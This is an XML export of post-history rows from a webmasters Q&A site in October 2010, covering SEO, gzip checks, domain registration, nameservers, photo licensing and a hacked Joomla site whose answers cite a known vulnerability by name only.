  <row Id="9120" PostHistoryTypeId="2" PostId="4604" RevisionGUID="cb2a6ed6-11ad-40b6-9209-2f5c9165e317" CreationDate="2010-10-29T10:22:54.467" UserId="1429" Text="You have reported a bad site on [Google Webmaster Tools SPAM report][1].&#xD;&#xA;&#xD;&#xA;Assuming you are sure it was a bad site, **did you see Google punishing it or doing something after your report?**&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/spamreport" />
  <row Id="9121" PostHistoryTypeId="1" PostId="4604" RevisionGUID="cb2a6ed6-11ad-40b6-9209-2f5c9165e317" CreationDate="2010-10-29T10:22:54.467" UserId="1429" Text="Google spam report, did they punished a bad site you reported?" />
  <row Id="9122" PostHistoryTypeId="3" PostId="4604" RevisionGUID="cb2a6ed6-11ad-40b6-9209-2f5c9165e317" CreationDate="2010-10-29T10:22:54.467" UserId="1429" Text="&lt;seo&gt;&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;spam&gt;" />
  <row Id="9123" PostHistoryTypeId="2" PostId="4605" RevisionGUID="c01ba3bf-9ede-4c42-973b-fbcc5c8866de" CreationDate="2010-10-29T10:52:42.437" UserId="2748" Text="I would view the **services** that they provide, which my website doesn't.&#xD;&#xA;&#xD;&#xA;I would view my website's **performance** in comparison to them.&#xD;&#xA;&#xD;&#xA;I would view How **user friendly** their website is.&#xD;&#xA;&#xD;&#xA;I would view the **traffic** that they fetch and analyze the reason behind it.&#xD;&#xA;&#xD;&#xA;Then try to improve my site to exceed their service, in performance and in user frienliness.&#xD;&#xA;" />
  <row Id="9124" PostHistoryTypeId="5" PostId="4605" RevisionGUID="90df2b30-4f34-42fb-914a-61c78ebda8d6" CreationDate="2010-10-29T10:59:03.583" UserId="2748" Comment="added 76 characters in body" Text="I would view the **services** that they provide, which my website doesn't.&#xD;&#xA;&#xD;&#xA;I would view my website's **performance** in comparison to them.&#xD;&#xA;&#xD;&#xA;I would view How **user friendly** their website is.&#xD;&#xA;&#xD;&#xA;I would view the **traffic** that they fetch and analyze the reason behind it.&#xD;&#xA;&#xD;&#xA;I would also view the **SEO techniques** they user to fetch the traffic.&#xD;&#xA;&#xD;&#xA;Then try to improve my site to exceed their service, in performance and in user frienliness.&#xD;&#xA;" />
  <row Id="9125" PostHistoryTypeId="2" PostId="4606" RevisionGUID="c4c3402b-049b-4c53-85bd-4d1be379fc2b" CreationDate="2010-10-29T11:01:23.403" UserId="233" Text="You can only &quot;clear&quot; the errors by fixing them. If the pages return 404 Not Found then that is still an error. It's likely that the page is being linked from somewhere else on the web.&#xD;&#xA;&#xD;&#xA;If there is an equivalent page, add a 301 redirect to that page and the error will disappear in a few weeks.&#xD;&#xA;&#xD;&#xA;Look at where the 404 link comes from and see if you are able to fix it. For example if it's from a blog post, the site owner may be interested in fixing it. If it's from a forum you are probably out of luck.&#xD;&#xA;&#xD;&#xA;EDIT based on comment: if the page no longer links to you, check that google's cache of the page isn't an old one. If the link was only recently removed it will take several weeks for GWT to update." />
  <row Id="9126" PostHistoryTypeId="2" PostId="4607" RevisionGUID="908919f0-5135-40da-b651-cbac794ce5d8" CreationDate="2010-10-29T11:07:55.457" UserId="791" Text="I am busy checking how my webserver is doing gzip. I'm confident now that gzip is on as chrome shows the content-encoding: gzip header.&#xD;&#xA;&#xD;&#xA;Is there a easy way to see how much a file was compressed in the Chrome developer tools? " />
  <row Id="9127" PostHistoryTypeId="1" PostId="4607" RevisionGUID="908919f0-5135-40da-b651-cbac794ce5d8" CreationDate="2010-10-29T11:07:55.457" UserId="791" Text="Is there an easy way to see amount of gzip compression in Chrome" />
  <row Id="9128" PostHistoryTypeId="3" PostId="4607" RevisionGUID="908919f0-5135-40da-b651-cbac794ce5d8" CreationDate="2010-10-29T11:07:55.457" UserId="791" Text="&lt;gzip&gt;&lt;compression&gt;&lt;google-chrome&gt;" />
  <row Id="9129" PostHistoryTypeId="2" PostId="4608" RevisionGUID="9da61a98-4d8d-4bf8-89e8-c2cdbab93157" CreationDate="2010-10-29T11:21:15.287" UserId="1089" Text="I did once, for a site which had lots of hidden links. &#xD;&#xA;&#xD;&#xA;I received no acknowledgment, but within 7 days the offending site disappeared from the front page of results (I didn't check how far down they slipped, they may well have disappeared altogether) they re-appeared 6-7 weeks later, slightly further down the first page with the hidden links removed." />
  <row Id="9130" PostHistoryTypeId="2" PostId="4609" RevisionGUID="9c0d5832-8b98-494c-bc9b-4a03f331f5b2" CreationDate="2010-10-29T11:38:01.543" UserId="2803" Text="You are a webmaster who own one or more websites and make money with them? Please tell us how much money you earn in a month. It will be really helpful if you can provide us with some valuable informations like: &#xD;&#xA;&#xD;&#xA; - the subject your website treat,&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; - who's your audience,&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; - how many hits you get in a month,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; - on what framework/CMS/technology your&#xD;&#xA;   website is built up,&#xD;&#xA;&#xD;&#xA; - the nature of your income: ads based, selling products ..etc&#xD;&#xA;&#xD;&#xA;Please don't mention your website's name/url, because the aim of my question is to outline todays trends in the web entrepreneurship and how hard or easy it is to build an income online; the name of your website is just negligible compared to the other informations.&#xD;&#xA;&#xD;&#xA;Thanks for your help :-)" />
  <row Id="9131" PostHistoryTypeId="1" PostId="4609" RevisionGUID="9c0d5832-8b98-494c-bc9b-4a03f331f5b2" CreationDate="2010-10-29T11:38:01.543" UserId="2803" Text="Webmasters, how much money you earn via your own websites?" />
  <row Id="9132" PostHistoryTypeId="3" PostId="4609" RevisionGUID="9c0d5832-8b98-494c-bc9b-4a03f331f5b2" CreationDate="2010-10-29T11:38:01.543" UserId="2803" Text="&lt;websites&gt;" />
  <row Id="9133" PostHistoryTypeId="16" PostId="4604" RevisionGUID="3b360d5a-9a95-4158-9231-2ff720bd6371" CreationDate="2010-10-29T11:48:52.753" UserId="1253" />
  <row Id="9134" PostHistoryTypeId="2" PostId="4610" RevisionGUID="44072459-a46f-4d8f-b797-dd718f6305f1" CreationDate="2010-10-29T12:49:03.450" UserId="2552" Text="I run about 12 websites and 3 of them if I told you these answers I'd be in some legal trouble. Is there something more specific you're trying to figure out? Or maybe a reason you're compiling this list? I could probably answer these questions for some of my smaller sites but typing out all my sites details without an idea why you're asking is a bit much to ask from some people here." />
  <row Id="9135" PostHistoryTypeId="2" PostId="4611" RevisionGUID="6cde7bf0-cf29-4e95-a749-36d8b94acee7" CreationDate="2010-10-29T12:56:09.367" UserId="2804" Text="In addition to Starx answer I would also check sites such as quantcast. They can provide valuable incite into market share and audience." />
  <row Id="9136" PostHistoryTypeId="10" PostId="4609" RevisionGUID="6d9941ba-9441-4f5e-b161-16ea08c44e15" CreationDate="2010-10-29T13:01:41.320" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="9137" PostHistoryTypeId="2" PostId="4612" RevisionGUID="7f9624f2-5bef-4c6c-8bc8-50f5f0cc585e" CreationDate="2010-10-29T13:21:44.377" UserId="2552" Text="I've heard the one in chrome is flawed due to a bug in webkit. &#xD;&#xA;&#xD;&#xA;The [Y Slow Plugin][1] for firefox does a great job. When running it go to the Components tab and expand the type of component you want the values for. It will show the original size and the gzip size.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-US/firefox/addon/5369/" />
  <row Id="9138" PostHistoryTypeId="5" PostId="4605" RevisionGUID="bedde202-b1cb-4dc7-acbc-8e169b168e5d" CreationDate="2010-10-29T14:02:37.897" UserId="2748" Comment="deleted 1 characters in body" Text="I would view the **services** that they provide, which my website doesn't.&#xD;&#xA;&#xD;&#xA;I would view my website's **performance** in comparison to them.&#xD;&#xA;&#xD;&#xA;I would view How **user friendly** their website is.&#xD;&#xA;&#xD;&#xA;I would view the **traffic** that they fetch and analyze the reason behind it.&#xD;&#xA;&#xD;&#xA;I would also view the **SEO techniques** they use to fetch the traffic.&#xD;&#xA;&#xD;&#xA;Then try to improve my site to exceed their service, in performance and in user frienliness.&#xD;&#xA;" />
  <row Id="9139" PostHistoryTypeId="2" PostId="4613" RevisionGUID="a8308a97-8987-495f-86d6-4fabb6733c9b" CreationDate="2010-10-29T14:07:46.630" UserId="233" Text="By far the easiest method is to use an online tool. [GIDZipTest][1] shows you plenty of detail: the original size, compressed size and compression percentage.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;It is possible in Chrome with a bit of effort, however. In the Developer Tools, go to the &quot;Resources&quot; tab and enable resource tracking (only for this session). Click the appropriate page/file on the left then the &quot;Headers&quot; tab on the right pane.&#xD;&#xA;&#xD;&#xA;Under &quot;Response Headers&quot; you should see &quot;Content-Encoding: gzip&quot; followed by a &quot;Content-Length&quot; header. This is the size of the compressed content.&#xD;&#xA;&#xD;&#xA;Finding the uncompressed size is more difficult. If you're serving up static files you can simply check its size. For dynamic content you'll have to copy-paste the HTML into a text editor and save it to check the exact size...&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gidnetwork.com/tools/gzip-test.php" />
  <row Id="9140" PostHistoryTypeId="2" PostId="4614" RevisionGUID="01a5597e-782b-411b-8b62-5ea65ec924b0" CreationDate="2010-10-29T14:36:13.360" UserId="233" Text="I tried your code on my local setup and it worked fine. It's likely that something else in your `.htaccess` is causing this to fail.&#xD;&#xA;&#xD;&#xA;I notice that you are rewriting the images to `http://article-stack.com/-` which redirects to another page. It would be best to rewrite to another image or to a 404 error." />
  <row Id="9141" PostHistoryTypeId="2" PostId="4615" RevisionGUID="20b6d696-99d6-4478-9405-ace1cc0e6fc9" CreationDate="2010-10-29T14:51:13.237" UserId="2279" Text="This isn't a tool for Chrome specifically, but I use [Fiddler][1] when checking HTTP traffic/header information. It's a great tool, works on any browser and it's free!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fiddler2.com/fiddler2/" />
  <row Id="9142" PostHistoryTypeId="2" PostId="4616" RevisionGUID="b4e9decc-9aa9-44e6-bd72-19313be53507" CreationDate="2010-10-29T15:02:15.413" UserId="540" Text="For a small (2k), cachable, compact and *jQuery-like* syntax for WebKit based mobile browsers try [Zepto.js][1]&#xD;&#xA;&#xD;&#xA; - MIT license&#xD;&#xA; - supports iOS, Android, Palm WebOS&#xD;&#xA;&#xD;&#xA;  [1]: http://zeptojs.com/" />
  <row Id="9143" PostHistoryTypeId="2" PostId="4617" RevisionGUID="e5029f3a-628d-4eb7-90fb-a7f8e8539ead" CreationDate="2010-10-29T15:22:41.757" UserId="2805" Text="I'm looking around trying to find a good place to buy an **.io** domain.&#xD;&#xA;&#xD;&#xA;Suddenly I think I'm surrounded by scammers because the websites which &quot;provide&quot; the service, are very bad no feeling of security is passed to the user.&#xD;&#xA;&#xD;&#xA;Well, I'm trying to deal with [nic.io](http://nic.io) guys.&#xD;&#xA;&#xD;&#xA;If somebody could me help me on that maybe saying if they are good or not, or even recommed someone, it would be great and appreciated, specially because the domain costs 60£ so it's not that cheap to spend on someone that could just leave you waiting for some answer after the payment&#xD;&#xA;&#xD;&#xA;Thanks a lot. :)" />
  <row Id="9144" PostHistoryTypeId="1" PostId="4617" RevisionGUID="e5029f3a-628d-4eb7-90fb-a7f8e8539ead" CreationDate="2010-10-29T15:22:41.757" UserId="2805" Text="reliable place to buy .io domains" />
  <row Id="9145" PostHistoryTypeId="3" PostId="4617" RevisionGUID="e5029f3a-628d-4eb7-90fb-a7f8e8539ead" CreationDate="2010-10-29T15:22:41.757" UserId="2805" Text="&lt;recommendations&gt;&lt;domain-registration&gt;" />
  <row Id="9146" PostHistoryTypeId="2" PostId="4618" RevisionGUID="815b26e2-0e9b-483c-a4af-501d072f3510" CreationDate="2010-10-29T15:30:40.597" UserId="795" Text="If I have a site registered and running on ThisIssomething.com for example, does registering This-Is-Something.com and redirecting it actually help SEO?  Or is it mainly to protect your brand?" />
  <row Id="9147" PostHistoryTypeId="1" PostId="4618" RevisionGUID="815b26e2-0e9b-483c-a4af-501d072f3510" CreationDate="2010-10-29T15:30:40.597" UserId="795" Text="Does registering a second domain name with the dashes help SEO?" />
  <row Id="9148" PostHistoryTypeId="3" PostId="4618" RevisionGUID="815b26e2-0e9b-483c-a4af-501d072f3510" CreationDate="2010-10-29T15:30:40.597" UserId="795" Text="&lt;seo&gt;&lt;domain-names&gt;" />
  <row Id="9149" PostHistoryTypeId="2" PostId="4619" RevisionGUID="8ebd4f8b-669c-49e0-8c11-dada8c2cd602" CreationDate="2010-10-29T15:38:39.843" UserId="1253" Text="It's mainly to protect your brand. The dashes don't help search engines determine keywords unless the words are ambiguous like expertsexchange.com or whorepresents.com. In those cases it may help although anchor text in hyperlinks can help remove the ambiguity.&#xD;&#xA; &#xD;&#xA;[See this related question for more information on why it doesn't help.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3777/could-i-buy-a-domain-name-to-increase-traffic-to-my-site-like-this" />
  <row Id="9150" PostHistoryTypeId="5" PostId="4619" RevisionGUID="e4a479b8-4143-4573-8619-677d9a55c9d9" CreationDate="2010-10-29T15:44:10.023" UserId="1253" Comment="added 29 characters in body" Text="It's mainly to protect your brand. The dashes don't help search engines determine keywords unless the words are ambiguous like expertsexchange.com or whorepresents.com. In those cases it *may* help although anchor text in hyperlinks (internal or external) most likely removes the ambiguity.&#xD;&#xA; &#xD;&#xA;[See this related question for more information on why it doesn't help.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3777/could-i-buy-a-domain-name-to-increase-traffic-to-my-site-like-this" />
  <row Id="9151" PostHistoryTypeId="2" PostId="4620" RevisionGUID="778e347b-82d2-4b1b-93ab-88f1b2c7ef0f" CreationDate="2010-10-29T15:56:24.100" UserId="2552" Text="I'm just venturing a guess, but 2 domains pointing to the same site might actually be bad for SEO. You'd be competing against yourself." />
  <row Id="9152" PostHistoryTypeId="2" PostId="4621" RevisionGUID="19c20724-b812-4134-afcb-3d36469f1afb" CreationDate="2010-10-29T16:14:09.753" UserId="1757" Text="Nic.io seems to be the [official registry][1] and primary registrar for registering .io domains, so if you don't want to register through them, you're SOL. There *are* other registrars that also sell .io domains, but they're still just going through nic.io.&#xD;&#xA;&#xD;&#xA;I'm sorry if you have bad feelings about nic.io, but that's just the nature of the domain name industry. When you have a regulatory agency like ICANN/Network Solutions, the industry naturally becomes dominated by sleazy companies. You can thank cronyism for that.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iana.org/domains/root/db/io.html" />
  <row Id="9153" PostHistoryTypeId="2" PostId="4622" RevisionGUID="bb6b6bcb-a83b-4f72-b8f9-5c2e261c667b" CreationDate="2010-10-29T16:34:56.550" UserDisplayName="Jaska" Text="How can I change the nameservers at freehostingcloud? I got a message:&#xD;&#xA;&#xD;&#xA;You need to change the nameservers for your domain exampledomain.net. The nameservers should be ns1.freehostingcloud.com and ns2.freehostingcloud.com." />
  <row Id="9154" PostHistoryTypeId="1" PostId="4622" RevisionGUID="bb6b6bcb-a83b-4f72-b8f9-5c2e261c667b" CreationDate="2010-10-29T16:34:56.550" UserDisplayName="Jaska" Text="Nameservers at freehostingcloud" />
  <row Id="9155" PostHistoryTypeId="3" PostId="4622" RevisionGUID="bb6b6bcb-a83b-4f72-b8f9-5c2e261c667b" CreationDate="2010-10-29T16:34:56.550" UserDisplayName="Jaska" Text="&lt;name-servers&gt;" />
  <row Id="9156" PostHistoryTypeId="2" PostId="4623" RevisionGUID="987f5397-e8fb-44d4-a43d-8ea1d3694c44" CreationDate="2010-10-29T16:58:46.850" UserId="1757" Text="You have to change the name servers at the registrar you used to register your domain name.&#xD;&#xA;&#xD;&#xA;So wherever you registered your domain name, log in to their control panel using the account you registered with, and then find where you can specify your name servers. Then just put in the name servers your host provided.&#xD;&#xA;&#xD;&#xA;It may take a few hours for the DNS records to propagate before you can access your site via the domain name." />
  <row Id="9157" PostHistoryTypeId="2" PostId="4624" RevisionGUID="f1d9080a-67cd-478e-ad0d-090f521194a6" CreationDate="2010-10-29T17:41:33.877" UserId="2809" Text="In terms of SEO is there any benefit about using Google SiteSearch over internal search (eg. Wordpress' own search engine)?" />
  <row Id="9158" PostHistoryTypeId="1" PostId="4624" RevisionGUID="f1d9080a-67cd-478e-ad0d-090f521194a6" CreationDate="2010-10-29T17:41:33.877" UserId="2809" Text="Is Google Sitesearch better than internal search?" />
  <row Id="9159" PostHistoryTypeId="3" PostId="4624" RevisionGUID="f1d9080a-67cd-478e-ad0d-090f521194a6" CreationDate="2010-10-29T17:41:33.877" UserId="2809" Text="&lt;seo&gt;&lt;google&gt;&lt;search&gt;" />
  <row Id="9160" PostHistoryTypeId="2" PostId="4625" RevisionGUID="31ee7b17-ca74-43e8-b934-2fe3398428b5" CreationDate="2010-10-29T17:45:21.847" UserId="132" Text="For SEO, I think the `title` element will have the biggest impact, followed by the `h*` elements which provide the overall page structure.&#xD;&#xA;&#xD;&#xA;The value seems reversed for the human readers, as the headers will provide the document structure and context for a live visitor." />
  <row Id="9161" PostHistoryTypeId="2" PostId="4626" RevisionGUID="07bc13ed-428d-4f6e-a31d-451a4a0c4cde" CreationDate="2010-10-29T17:47:42.960" UserId="1253" Text="Not directly. They both will find your content (although Wordpress will find it faster since it knows about the content immediately whereas Google has to find it and index it first) and display it to your users. And neither affect your rankings since neither affect your content. &#xD;&#xA;&#xD;&#xA;The only possible advantage I see from using Google SiteSearch is it forces Google to crawl your site more frequently and deeply as they need to make sure they know about all of your content in order to deliver useful search results. Obviously doing this for site search means they can use the same information in their main search results which is a good thing." />
  <row Id="9162" PostHistoryTypeId="5" PostId="4537" RevisionGUID="a32d84b1-fc89-4007-97e4-24bf221b3b55" CreationDate="2010-10-29T18:00:24.973" UserId="2780" Comment="added 76 characters in body" Text="I have problem with Google Chrome and Theora video. I have video that plays nice in Opera and Firefox. However, it doesn't play in Google browser and I don't know why. I've made this video in ogg2theora.&#xD;&#xA;&#xD;&#xA;Test sample: http://wwsi.edu.pl/video/enigma.html&#xD;&#xA;&#xD;&#xA;Does anyone know how should I encode to Theora that Google Chrome works?&#xD;&#xA;&#xD;&#xA;P.S.&#xD;&#xA;&#xD;&#xA;- I am not interested in encoding in WebM or h.264.&#xD;&#xA;- I am not asking what is the best way to publish video on a website.&#xD;&#xA;- I only do experiments with Ogg Theora.&#xD;&#xA;- The test site has fallback for h.264 in video tag and WMV in WMP plugin." />
  <row Id="9163" PostHistoryTypeId="2" PostId="4627" RevisionGUID="6e60b4d9-f213-4a40-90dd-6ad603b72fcc" CreationDate="2010-10-29T18:19:53.917" UserId="2209" Text="When I do a search of my site in Google it shows both *mydomain.com* and *www.mydomain.com* in the results. In my .htaccess file I added code to redirect the non-www version to the www version, but both versions are still showing in Google's search results. Is there anyway to have Google only show the www version?" />
  <row Id="9164" PostHistoryTypeId="1" PostId="4627" RevisionGUID="6e60b4d9-f213-4a40-90dd-6ad603b72fcc" CreationDate="2010-10-29T18:19:53.917" UserId="2209" Text="Google indexing issue." />
  <row Id="9165" PostHistoryTypeId="3" PostId="4627" RevisionGUID="6e60b4d9-f213-4a40-90dd-6ad603b72fcc" CreationDate="2010-10-29T18:19:53.917" UserId="2209" Text="&lt;google&gt;&lt;domain&gt;" />
  <row Id="9166" PostHistoryTypeId="2" PostId="4628" RevisionGUID="d2802aa8-4687-4267-a821-1caf8805ee59" CreationDate="2010-10-29T18:28:52.983" UserId="2730" Text="First, I hope you put a proper 301 redirect for any page in your htaccess.&#xD;&#xA;&#xD;&#xA;If some of your pages require parameters, like example.com/?p=20, then you need to use mod_rewrite with [R=301] instead of the easier mod_alias Redirect directive in  your htaccess. Also, until Google Bot comes again and indexes, it will not update the Google index.&#xD;&#xA;&#xD;&#xA;Second, it will take some time for Google to reindex your website. You can try and submit a proper sitemap (sitemap.xml) to google via [Google Webmaster Tools][1] but it still might take some time.&#xD;&#xA;&#xD;&#xA;Third, you might want to use a [rel=canonical tag][2] on your pages - especially if your redirect is not working yet to hint Google for proper indexing of your pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=139394" />
  <row Id="9167" PostHistoryTypeId="2" PostId="4629" RevisionGUID="a374f4b5-5320-4b3a-a55a-0a2658a145b0" CreationDate="2010-10-29T18:32:05.880" UserId="2730" Text="Google internal search will work great if 100% of your pages are indexed by Google. If for some reason you have pages that are not indexed correctly it will usually be better to use the wordpress own search engine.&#xD;&#xA;" />
  <row Id="9168" PostHistoryTypeId="2" PostId="4630" RevisionGUID="f91d310b-38d7-4034-829b-166889946712" CreationDate="2010-10-29T18:32:42.933" UserId="2780" Text="There is one good way.&#xD;&#xA;&#xD;&#xA;1. Create a small video site.&#xD;&#xA;2. Get enough users.&#xD;&#xA;3. Sell site for nice sum of money or get strategic investor with money." />
  <row Id="9169" PostHistoryTypeId="6" PostId="4627" RevisionGUID="b4d85100-d82d-42a0-b12c-32383390ee97" CreationDate="2010-10-29T18:38:18.003" UserId="1253" Comment="removed &quot;domain&quot; tag and added &quot;seo&quot;" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="9170" PostHistoryTypeId="2" PostId="4631" RevisionGUID="6974efa0-cfc2-412f-8de7-1e032beb355c" CreationDate="2010-10-29T18:38:23.393" UserId="2730" Text="There is quite a lot of power in domain names that include your keywords, at least according to an article on SEOMoz - [Exact Match Domains][1] from last week.&#xD;&#xA;&#xD;&#xA;That said, my own opinion is that buying additional domains that will be only used for 301 redirects will not affect your ranking at all. Since these domains will never appear in the search results (if the 301 is done properly).&#xD;&#xA;&#xD;&#xA;So just pick a good domain name, with or without dashes, and stick to it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/blog/exact-match-domains-are-far-too-powerful-is-their-time-limited" />
  <row Id="9171" PostHistoryTypeId="5" PostId="4537" RevisionGUID="25fc6274-b892-44c1-a80d-e0b1f2cb8338" CreationDate="2010-10-29T18:43:07.100" UserId="2780" Comment="added 4 characters in body" Text="I have problem with Google Chrome and Theora video. I have video that plays nice in Opera and Firefox. However, it doesn't play in Google browser and I don't know why. I've made this video in ogg2theora.&#xD;&#xA;&#xD;&#xA;Test sample: http://wwsi.edu.pl/video/enigma.html&#xD;&#xA;&#xD;&#xA;**Does anyone know how should I encode to Theora that Google Chrome works?**&#xD;&#xA;&#xD;&#xA;P.S.&#xD;&#xA;&#xD;&#xA;- I am not interested in encoding in WebM or h.264.&#xD;&#xA;- I am not asking what is the best way to publish video on a website.&#xD;&#xA;- I only do experiments with Ogg Theora.&#xD;&#xA;- The test site has fallback for h.264 in video tag and WMV in WMP plugin." />
  <row Id="9172" PostHistoryTypeId="2" PostId="4632" RevisionGUID="561f8d4b-71a0-4e82-834c-07ec71a8a32d" CreationDate="2010-10-29T18:51:36.497" UserId="2730" Text="Go to [http://facebook.com/username/][1] and follow the instructions.&#xD;&#xA;&#xD;&#xA;Warning: Once you choose a name for your profile, or a page owned by you -- you will never ever ever be able to change that name or create another profile or page with the same name.&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PS: If you just want your domain name to point to a facebook page, use a 301 redirect to the address you will get after you do the above.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://facebook.com/username/" />
  <row Id="9173" PostHistoryTypeId="2" PostId="4634" RevisionGUID="c190e917-0d11-4805-a845-106a2db9c0f1" CreationDate="2010-10-29T18:46:16.503" UserDisplayName="Enrico Pallazzo" Text="Check the logs from your server" />
  <row Id="9174" PostHistoryTypeId="2" PostId="4635" RevisionGUID="8b2fb618-475f-4805-8b82-a0d87605394e" CreationDate="2010-10-29T18:47:08.420" UserDisplayName="DVK" Text="Google has: http://malwareview.com/index.php?topic=347.0&#xD;&#xA;&#xD;&#xA;&gt; Joomla Google Calendar com_gcalendar 1.1.2 SQL Injection PoC &#xD;&#xA;&#xD;&#xA;So now your site is open to SQL injection" />
  <row Id="9175" PostHistoryTypeId="2" PostId="4636" RevisionGUID="899b6b94-2b54-4333-89bf-25e072f696b2" CreationDate="2010-10-29T18:47:23.473" UserId="823" Text="That Joomla module has a [vulnerability][1], but it may or may not be a hack. Has anything happened?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-0972" />
  <row Id="9176" PostHistoryTypeId="2" PostId="4637" RevisionGUID="0220bed7-c839-4b8b-a925-26aa3ca31bb6" CreationDate="2010-10-29T18:52:08.277" UserDisplayName="joeyATdatavideo.us" Text="Are you on a shared hosting account? If so you should call your ISP to see if they have a exploit on their servers, hackers get in by a shared account and get into all the home directories and place nasty spam scripts.&#xD;&#xA;&#xD;&#xA;If you have a dedicated server I would check how your permissions for the www user are set or if they have been changed. Review your permission and chmod anything that isn't suppose to be accessed.&#xD;&#xA;&#xD;&#xA;If you use dreamweaver, setup a new site and download all your joomla files as well as your SQL database to your local computer and update locally and then sync your files to update/upload to your server this way no matter what you do, it's going to overwrite any hackers code.&#xD;&#xA;&#xD;&#xA;The more details we have the better I think we can see whats going on here." />
  <row Id="9177" PostHistoryTypeId="2" PostId="4633" RevisionGUID="a082625c-940a-4fc5-bc77-55df5311ad1f" CreationDate="2010-10-29T18:43:37.470" UserDisplayName="Vivek Chandraprakash" Text="someone hacked into our servers. Not sure when. They have created this folder &quot;/public_html/modules/com_gcalendar&quot; and some files in it. &#xD;&#xA;&#xD;&#xA;any one of had the same attack? any findings? " />
  <row Id="9178" PostHistoryTypeId="1" PostId="4633" RevisionGUID="a082625c-940a-4fc5-bc77-55df5311ad1f" CreationDate="2010-10-29T18:43:37.470" UserDisplayName="Vivek Chandraprakash" Text="My Joomla site hacked" />
  <row Id="9179" PostHistoryTypeId="3" PostId="4633" RevisionGUID="a082625c-940a-4fc5-bc77-55df5311ad1f" CreationDate="2010-10-29T18:43:37.470" UserDisplayName="Vivek Chandraprakash" Text="&lt;joomla&gt;" />
  <row Id="9180" PostHistoryTypeId="17" PostId="4633" RevisionGUID="82a7542a-d2af-4a0a-a119-b45ee07fe5ce" CreationDate="2010-10-29T18:58:54.143" UserId="-1" Comment="from http://stackoverflow.com/questions/4054875/my-joomla-site-hacked" Text="" />
  <row Id="9184" PostHistoryTypeId="2" PostId="4639" RevisionGUID="f2dd6383-2f3c-4e61-889d-7af01bec8dc2" CreationDate="2010-10-29T19:38:29.870" UserId="795" Text="Not sure if this is the write SE site to ask the question, but I am kinda unclear on how/if I can use AP photos.  There are quite a few sites that use it with a credit underneath it.  Is that enough?  Do you still need the express written consent they talk about on their site?  Does anyone run a site using AP photos?  Thanks!&#xD;&#xA;&#xD;&#xA;ps can't create tags, so someone feel free to correctly tag this" />
  <row Id="9185" PostHistoryTypeId="1" PostId="4639" RevisionGUID="f2dd6383-2f3c-4e61-889d-7af01bec8dc2" CreationDate="2010-10-29T19:38:29.870" UserId="795" Text="Using Associated Press photos" />
  <row Id="9186" PostHistoryTypeId="3" PostId="4639" RevisionGUID="f2dd6383-2f3c-4e61-889d-7af01bec8dc2" CreationDate="2010-10-29T19:38:29.870" UserId="795" Text="&lt;photo-gallery&gt;" />
  <row Id="9190" PostHistoryTypeId="6" PostId="4639" RevisionGUID="c9f643b6-e24d-4599-b924-d8d564498d97" CreationDate="2010-10-29T19:43:21.203" UserId="1253" Comment="Changed tag to &quot;copyright&quot; from &quot;photo-gallery&quot;" Text="&lt;copyright&gt;" />
  <row Id="9191" PostHistoryTypeId="2" PostId="4640" RevisionGUID="c477efaa-82f8-452c-9b6d-4d74067c4f15" CreationDate="2010-10-29T19:44:36.727" UserId="2730" Text="There was an article last week on SEO-Moz - [Exact Match Domains][1]. So it would seem that having a domain that matches your keyword is not negligible. It wont bring you to #1, but it helps a little bit to get there (it seems).&#xD;&#xA;&#xD;&#xA;But it will only help you if it appears in the search results, thus you will need to move your website to the new domain. This means that you need to make your previous domain have 301 redirects to the new domain so you will not loose your PR and Google Ranking for the pages you have linked.&#xD;&#xA;&#xD;&#xA;So in your question you wanted the other domain to redirect to yours -- it will have no effect, since the newly bought &quot;better&quot; domain name will not appear in Google results. Less people will click the &quot;bad&quot; domain (it will not be bold), and less people will remember the domain to come directly next time.&#xD;&#xA;&#xD;&#xA;So if you have a possibility to buy usedcars.com or used-cars.com, do it - and move your website to the new domain dumping the old one.&#xD;&#xA;&#xD;&#xA;Google Webmaster Tools has a section with additional information that can help you do it without breaking your current rankings, but it is still a risky process.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/blog/exact-match-domains-are-far-too-powerful-is-their-time-limited" />
  <row Id="9192" PostHistoryTypeId="2" PostId="4641" RevisionGUID="4a73fc0e-be2e-4122-92a3-1ee2518446cb" CreationDate="2010-10-29T19:47:01.700" UserId="1253" Text="They have a page called &quot;[Buy AP Photos][1]&quot;. I'd say that implies they require either purchase or licensing. That page also lists whom to contact about it:&#xD;&#xA;&#xD;&#xA;&gt; To reprint AP photos/graphics for commercial or editorial use&lt;br&gt;&#xD;&#xA;&gt; E-mail:apimages@ap.org&lt;br&gt;&#xD;&#xA;&gt; Fax:+1.212.621.1955.&#xD;&#xA;&#xD;&#xA;They also have a [gallery for personal use][2]. That seems to be free.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ap.org/pages/product/photoservices.html&#xD;&#xA;  [2]: http://pictopia.com/perl/gal?provider_id=38" />
